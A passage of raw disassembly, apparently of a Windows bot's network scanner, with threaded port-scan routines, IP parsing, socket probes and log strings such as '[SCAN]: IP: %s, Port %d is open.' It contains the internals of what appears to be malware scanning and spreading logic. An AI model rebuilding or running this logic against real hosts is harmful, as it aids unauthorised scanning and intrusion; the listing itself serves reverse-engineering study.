71AB3F41h push eax lea eax, [esp+7A8h+var_770] push eax nop call near ptr 77C47A90h add esp, 0Ch mov ecx, esi push offset dword_444574 call sub_4013E3 test eax, eax jz short loc_42328B push offset off_444570 mov ecx, esi call sub_4013E3 mov ebp, dword_50FA90 mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp add esp, 8 xor bl, bl test edi, edi jle short loc_42327E loc_423262: ; CODE XREF: sub_422A40+83Cj test eax, eax jz short loc_42327E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423262 loc_42327E: ; CODE XREF: sub_422A40+820j ; sub_422A40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423296 ; --------------------------------------------------------------------------- loc_42328B: ; CODE XREF: sub_422A40+7F1j mov [esp+7A0h+var_630], 0 loc_423296: ; CODE XREF: sub_422A40+722j ; sub_422A40+849j mov edx, dword_4D60BD xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017E4 push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx call near ptr 77C3FA76h nop mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4232F8 mov eax, offset aSequential ; "sequential" loc_4232F8: ; CODE XREF: sub_422A40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:44441Ah[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BD6 add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402261 mov al, 1 jmp loc_422E3B sub_422A40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4235F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_446F60 mov ecx, offset dword_447988 setnz bl call sub_4014D3 push eax push ebx push ebx push offset byte_4D60A5 call sub_401848 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_444440[eax*4] inc ecx mov dword_444440[eax*4], ecx mov al, 1 retn sub_4235F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423660 proc near ; CODE XREF: sub_401DF7j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h nop call near ptr 71AB951Eh mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50DAD8 nop call near ptr byte_5EA1BD mov eax, offset dword_50DAD8 add esp, 2Ch retn sub_423660 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423720 proc near ; CODE XREF: sub_401F37j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50BB80[esi*8] push eax nop call near ptr 71AB2BC0h inc eax push eax nop call near ptr 71AB2BC0h mov dword_50BB80[esi*8], eax pop esi retn sub_423720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423792 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423792: ; CODE XREF: sub_423760+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr 77C41B72h mov eax, [esp+34h+var_8] mov esi, dword_50FABC add esp, 18h cmp eax, ebx jnz short loc_4237CA call esi mov [esp+1Ch+var_8], eax loc_4237CA: ; CODE XREF: sub_423760+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4237D6 call esi mov [esp+1Ch+var_C], eax loc_4237D6: ; CODE XREF: sub_423760+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4237E2 call esi mov [esp+1Ch+var_10], eax loc_4237E2: ; CODE XREF: sub_423760+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4237EC call esi loc_4237EC: ; CODE XREF: sub_423760+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50BB80[ecx*8], eax pop ebx add esp, 10h retn sub_423760 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423850 proc near ; CODE XREF: sub_401E38j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42387E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42387E: ; CODE XREF: sub_423850+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax nop call near ptr 71AB2B66h lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi nop call near ptr 71AB4519h lea eax, [esp+128h+var_114] push 10h push eax push esi nop call near ptr 71AB406Ah mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi call near ptr 71AB2DC0h nop push esi mov edi, eax nop call near ptr 71AB9639h xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423940: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_436840 push ebx push ebp mov ebp, dword_50FC2C push esi push edi push 2649h call ebp mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp mov [esp+26h], ax nop call near ptr 77C371D3h xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A28 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423A69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423B68 ; --------------------------------------------------------------------------- loc_423A69: ; CODE XREF: ___:00423A5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi nop call near ptr 71AB2C69h mov edi, eax cmp edi, 14h jz short loc_423AC2 call near ptr 71AB94DCh nop push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx nop call near ptr byte_5EA1BD lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423AC2: ; CODE XREF: ___:00423A87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423B13 mov edi, dword_50FC58 loc_423AEA: ; CODE XREF: ___:00423B11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi test eax, eax jl short loc_423B42 cmp [esp+0FEh], bp jnz short loc_423AEA loc_423B13: ; CODE XREF: ___:00423AE2j push esi nop call near ptr 71AB9639h cmp word ptr [esp+10Eh], 1 jnz short loc_423B63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B42: ; CODE XREF: ___:00423B07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B63: ; CODE XREF: ___:00423B23j push offset dword_44466C loc_423B68: ; CODE XREF: ___:00423A64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423C10: ; CODE XREF: ___:loc_401F23j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 call near ptr 27E0716h nop push eax call near ptr 77C371BCh nop lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:448FBBh[eax*4] mov eax, dword_4491BF[eax*4] mov ecx, dword_50BB84[eax*8] test ecx, ecx jz loc_423EC4 mov ebx, dword_50FBF0 loc_423C8C: ; CODE XREF: ___:00423EBAj mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423CA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423CAF ; --------------------------------------------------------------------------- loc_423CA7: ; CODE XREF: ___:00423C96j call sub_401F37 add esp, 4 loc_423CAF: ; CODE XREF: ___:00423CA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_50FC78 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx add esp, 18h lea ecx, [esp+220h] push ecx push ebp call ebx mov edx, [esp+138h] mov eax, [esp+134h] push edx push eax push esi call sub_401E38 add esp, 14h cmp eax, 1 jnz loc_423EA0 cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423DC2 push offset dword_50DAC0 nop call near ptr 7C901005h mov ecx, [esp+12Ch] push ecx push esi call edi push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423DA2 mov al, [esp+0A8h] test al, al jz short loc_423D7D mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423D9A ; --------------------------------------------------------------------------- loc_423D7D: ; CODE XREF: ___:00423D59j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423D9A: ; CODE XREF: ___:00423D7Bj call sub_401523 add esp, 10h loc_423DA2: ; CODE XREF: ___:00423D4Ej lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50DAC0 call near ptr 7C9010EDh nop jmp loc_423EA0 ; --------------------------------------------------------------------------- loc_423DC2: ; CODE XREF: ___:00423D16j push esi call edi push eax lea eax, [esp+16Ch] push eax call ebx mov eax, [esp+150h] add esp, 8 lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+1F8h] lea edx, ds:444410h[ecx*4] push edx push eax call ebx mov al, [esp+0B0h] add esp, 8 test al, al jz short loc_423E12 lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423E1F ; --------------------------------------------------------------------------- loc_423E12: ; CODE XREF: ___:00423DFEj lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423E1F: ; CODE XREF: ___:00423E10j call ebx mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_44443C[edx*4] add esp, 0BCh loc_423EA0: ; CODE XREF: ___:00423D08j ; ___:00423DBDj push 7D0h nop call near ptr 2830000h mov eax, [ebp+204h] mov ecx, dword_50BB84[eax*8] test ecx, ecx jnz loc_423C8C mov esi, [esp+10h] loc_423EC4: ; CODE XREF: ___:00423C80j push esi call sub_401E24 add esp, 4 push 0 nop call near ptr 28301C6h nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_402261j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax nop call near ptr 71AB2BF4h sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50BB80[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_401483 add esp, 150h cmp eax, ebx jnz short loc_424021 push offset dword_50DAC0 call near ptr 2780000h nop push offset dword_50DAC0 nop call near ptr 27805CAh loc_424021: ; CODE XREF: ___:00424009j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_50F8D0 mov esi, ebx mov dword_50BB84[edx*8], ebx cmp eax, ebx mov ebx, dword_50FBF0 jb loc_424150 mov edi, dword_50F860 loc_424052: ; CODE XREF: ___:0042414Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BD6 lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F23 push 0 push 0 mov dword_4491BF[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_4491CF[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_4491CF[eax*4] test ecx, ecx jz short loc_424118 mov eax, [esp+158h] test eax, eax jnz short loc_42413E loc_424107: ; CODE XREF: ___:00424114j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_424107 jmp short loc_42413E ; --------------------------------------------------------------------------- loc_424118: ; CODE XREF: ___:004240FAj nop call near ptr 27B07FFh push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42413E: ; CODE XREF: ___:00424105j ; ___:00424116j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424052 loc_424150: ; CODE XREF: ___:00424046j mov eax, [esp+12Ch] test eax, eax jz short loc_42417E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_4241B1 ; --------------------------------------------------------------------------- loc_42417E: ; CODE XREF: ___:00424159j mov ecx, [esp+130h] mov esi, 1 cmp dword_50BB84[ecx*8], esi jnz short loc_4241B1 loc_424193: ; CODE XREF: ___:004241A8j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50BB84[edx*8], esi jz short loc_424193 mov eax, [esp+12Ch] loc_4241B1: ; CODE XREF: ___:0042417Cj ; ___:00424191j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50BB80[ecx*8] push ecx call near ptr 71AB3F41h nop push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_424212 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_401523 add esp, 10h loc_424212: ; CODE XREF: ___:004241EBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50BB84[eax*8], 0 call ebp push 3 call sub_401483 add esp, 4 cmp eax, esi jnz short loc_424254 push offset dword_50DAC0 call near ptr 2780000h nop loc_424254: ; CODE XREF: ___:00424247j mov ecx, [esp+130h] push ecx call sub_401E24 add esp, 4 push 0 call near ptr 28301C6h nop nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424330 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424330 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424350: ; CODE XREF: ___:004015E1j mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401834 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4243A0 proc near ; CODE XREF: sub_401834j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_4243F2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4243F2: ; CODE XREF: sub_4243A0+16j mov eax, ebx pop ebp pop ebx retn 8 sub_4243A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424420 proc near ; CODE XREF: sub_4021D5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_424494 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_424494: ; CODE XREF: sub_424420+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_424420 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4244C0 proc near ; CODE XREF: sub_4016B8j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4244D3 push eax nop call near ptr 77C2C21Bh add esp, 4 loc_4244D3: ; CODE XREF: sub_4244C0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4244C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_424517 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424517: ; CODE XREF: sub_424500+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax nop call near ptr 77C2C407h mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424545 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424545: ; CODE XREF: sub_424500+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424574 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42458F ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42458F: ; CODE XREF: sub_424500+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_424500 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245F0 proc near ; CODE XREF: sub_401B68j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_446F64 lea ecx, [esp+20h+var_8] call sub_4021D5 lea ecx, [esp+10h+var_8] call sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424635 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424635: ; CODE XREF: sub_4245F0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016B8 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016B8 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4245F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4246D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424720 proc near ; CODE XREF: sub_402036j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424720 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424760 proc near ; CODE XREF: sub_4014FBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424760 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424790 proc near ; CODE XREF: sub_4017CBj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_4247A4 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4247A4: ; CODE XREF: sub_424790+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_444B94 lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424790 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_401EABj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_4014FB test al, al jnz short loc_42481C pop esi retn 8 ; --------------------------------------------------------------------------- loc_42481C: ; CODE XREF: sub_424800+16j mov ecx, esi call sub_4017CB pop esi retn 8 sub_424800 